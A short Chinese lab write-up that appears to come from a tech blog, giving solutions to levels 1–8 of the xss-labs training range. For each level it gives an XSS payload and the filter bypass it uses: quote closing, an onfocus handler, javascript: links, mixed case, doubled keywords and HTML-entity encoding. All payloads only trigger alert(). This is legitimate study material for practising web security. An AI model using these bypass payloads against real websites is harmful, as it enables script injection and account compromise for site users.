xss-labs靶场1-8

level1

php 复制代码
<script>alert()</script>

level2

闭合绕过

php 复制代码
">  <script>alert()</script>  <"

level3+level4

onfocus事件绕过

php 复制代码
' onfocus=javascript:alert() '


然后再点击输入框触发onfocus事件

level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效

php 复制代码
"> <a href=javascript:alert()>xxx</a> <"

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数

php 复制代码
"> <sCript>alert()</sCript> <"

level7

关键字测试

用双拼写绕过

php 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

php 复制代码
javascript:alert()

在线Unicode编码解码

php 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
相关推荐
OEC小胖胖16 分钟前
告别项目混乱:基于 pnpm + Turborepo 的现代化 Monorepo 工程化最佳实践
前端·javascript·前端框架·web
Mintopia31 分钟前
🌌 探索虚空中的结构:光线步进与 Marching Cubes 的奇幻冒险
前端·javascript·计算机图形学
猿小猴子32 分钟前
Django3 - Web前端开发基础 HTML、CSS和JavaScript
前端·css·html
小的时候可菜了33 分钟前
Webstorm 前端断点调试
前端·ide·webstorm
Mintopia44 分钟前
Three.js 光照系统进阶指南 —— 打造光明的舞台
前端·javascript·three.js
超级无敌永恒暴龙战士1 小时前
Java-Lambda表达式
java·lambda
鱼见千寻1 小时前
Flowable31动态表单-----------------------终章
java·数据库·spring boot·flowable
天天打码1 小时前
Esbuild-新一代极速前端构建打包工具
前端·javascript·前端框架
Linux运维技术栈1 小时前
企业运维实战:Jenkins 依赖 JDK21 与应用需 JDK1.8 共存方案(含流水线配置)
java·linux·服务器
张小洛1 小时前
Spring IOC容器在Web环境中是如何启动的(源码级剖析)?
java·spring·spring mvc·web容器·spring ioc·servlet容器·spring web容器